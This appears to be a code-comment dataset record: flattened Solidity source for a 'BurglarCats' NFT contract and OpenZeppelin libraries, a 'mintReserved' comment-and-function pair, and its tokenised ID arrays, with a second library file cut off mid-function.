custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import "@openzeppelin/contracts/utils/Counters.sol"; import "./ERC721Tradable.sol"; contract BurglarCats is ERC721Tradable { using SafeMath for uint256; using Address for address; using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIdCounter; Counters.Counter private _reservedTokenIdCounter; uint256 public constant NFT_PRICE_SALE = 60000000000000000; // 0.06 ETH uint public constant MAX_NFT_PURCHASE_SALE = 20; uint256 public MAX_SUPPLY = 10000; /** * Reserve some tokens for the team and community giveaways */ uint public constant RESERVED_TOTAL = 325; bool public isSaleActive = false; bool public isRevealed = false; string public provenanceHash; /** * 🆒 Evolutions */ address public evoContractAddress; string private _baseURIExtended; string private _placeholderURIExtended; constructor( address _proxyRegistryAddress ) ERC721Tradable('BurglarCats', 'BUCA', _proxyRegistryAddress) { /** * Start counting tokens from */ _tokenIdCounter._value = RESERVED_TOTAL; } function _baseURI() internal view virtual override returns (string memory) { return _baseURIExtended; } function setBaseURI(string memory baseURI_) external onlyOwner { _baseURIExtended = baseURI_; } function setPlaceholderURI(string memory placeholderURI_) external onlyOwner { _placeholderURIExtended = placeholderURI_; } function setProvenanceHash(string memory provenanceHash_) external onlyOwner { provenanceHash = provenanceHash_; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); if (!isRevealed) { return string(abi.encodePacked(_placeholderURIExtended, tokenId.toString())); } string memory base = _baseURI(); return string(abi.encodePacked(base, tokenId.toString())); } function flipSaleState() public onlyOwner { isSaleActive = !isSaleActive; } function flipReveal() public onlyOwner { isRevealed = !isRevealed; } function setEvolutionAddress(address contractAddress) public onlyOwner { evoContractAddress = contractAddress; } function _mintGeneric( uint256 CURRENT_NFT_PRICE, uint CURRENT_TOKENS_NUMBER_LIMIT, uint numberOfTokens ) internal { require(isSaleActive, "Sale is not active at the moment"); require(numberOfTokens > 0, "Number of tokens can not be less than or equal to 0"); require(_tokenIdCounter.current().add(numberOfTokens) <= MAX_SUPPLY, "Purchase would exceed max supply"); if (isSaleActive) { CURRENT_NFT_PRICE = NFT_PRICE_SALE; CURRENT_TOKENS_NUMBER_LIMIT = MAX_NFT_PURCHASE_SALE; } require(numberOfTokens <= CURRENT_TOKENS_NUMBER_LIMIT, "Tokens amount is out of limit"); require(CURRENT_NFT_PRICE.mul(numberOfTokens) == msg.value, "Sent ether value is incorrect"); for (uint i = 0; i < numberOfTokens; i++) { _safeMintGeneric(msg.sender, _tokenIdCounter); } } function mint(uint numberOfTokens) public payable { _mintGeneric(NFT_PRICE_SALE, MAX_NFT_PURCHASE_SALE, numberOfTokens); } /** * Lazily mint some reserved tokens */ function mintReserved(uint numberOfTokens) public onlyOwner { require( _reservedTokenIdCounter.current().add(numberOfTokens) <= RESERVED_TOTAL, "Minting would exceed max reserved supply" ); for (uint i = 0; i < numberOfTokens; i++) { _safeMintGeneric(msg.sender, _reservedTokenIdCounter); } } function burnTokenForAddress(uint256 tokenId, address burnerAddress) external { require(msg.sender == evoContractAddress, "Invalid sender address"); require(msg.sender != burnerAddress, "Invalid burner address"); _burn(tokenId); } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } } // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "./common/meta-transactions/ContentMixin.sol"; import "./common/meta-transactions/NativeMetaTransaction.sol"; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ContextMixin, ERC721Enumerable, NativeMetaTransaction, ERC721URIStorage, ERC721Burnable, Ownable { using Counters for Counters.Counter; // Counters.Counter private _tokenIdCounter; // Counters.Counter private _reservedTokenIdCounter; address proxyRegistryAddress; event PermanentURI(string value, uint256 indexed id); constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; _initializeEIP712(_name); } function _safeMintGeneric(address to, Counters.Counter storage counter) internal { uint256 newTokenId = counter.current(); _safeMint(to, newTokenId); counter.increment(); } function _setPermanentURI(uint256 id, string memory uri) internal { _setTokenURI(id, uri); emit PermanentURI(uri, id); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public virtual view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal view override returns (address sender) { return ContextMixin.msgSender(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Initializable} from "./Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce : nonces[userAddress], from : userAddress, functionSignature : functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } }
* Lazily mint some reserved tokens/
function mintReserved(uint numberOfTokens) public onlyOwner { require( _reservedTokenIdCounter.current().add(numberOfTokens) <= RESERVED_TOTAL, "Minting would exceed max reserved supply" ); for (uint i = 0; i < numberOfTokens; i++) { _safeMintGeneric(msg.sender, _reservedTokenIdCounter); } }
639,624
[ 1, 48, 20811, 312, 474, 2690, 8735, 2430, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 10435, 12, 11890, 7922, 5157, 13, 1071, 1338, 5541, 288, 203, 3639, 2583, 12, 203, 5411, 389, 18898, 1345, 548, 4789, 18, 2972, 7675, 1289, 12, 2696, 951, 5157, 13, 1648, 2438, 19501, 67, 28624, 16, 203, 5411, 315, 49, 474, 310, 4102, 9943, 943, 8735, 14467, 6, 203, 3639, 11272, 203, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 7922, 5157, 31, 277, 27245, 288, 203, 5411, 389, 4626, 49, 474, 7014, 12, 3576, 18, 15330, 16, 389, 18898, 1345, 548, 4789, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Counters.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/security/ReentrancyGuard.sol // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File: gwei-slim-nft-contracts/contracts/base/IBaseERC721Interface.sol pragma solidity 0.8.9; /// Additional features and functions assigned to the /// Base721 contract for hooks and overrides interface IBaseERC721Interface { /* Exposing common NFT internal functionality for base contract overrides To save gas and make API cleaner this is only for new functionality not exposed in the core ERC721 contract */ /// Mint an NFT. Allowed to mint by owner, approval or by the parent contract /// @param tokenId id to burn function __burn(uint256 tokenId) external; /// Mint an NFT. Allowed only by the parent contract /// @param to address to mint to /// @param tokenId token id to mint function __mint(address to, uint256 tokenId) external; /// Set the base URI of the contract. Allowed only by parent contract /// @param base base uri /// @param extension extension function __setBaseURI(string memory base, string memory extension) external; /* Exposes common internal read features for public use */ /// Token exists /// @param tokenId token id to see if it exists function __exists(uint256 tokenId) external view returns (bool); /// Simple approval for operation check on token for address /// @param spender address spending/changing token /// @param tokenId tokenID to change / operate on function __isApprovedOrOwner(address spender, uint256 tokenId) external view returns (bool); function __isApprovedForAll(address owner, address operator) external view returns (bool); function __tokenURI(uint256 tokenId) external view returns (string memory); function __owner() external view returns (address); } // File: @openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library CountersUpgradeable { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return 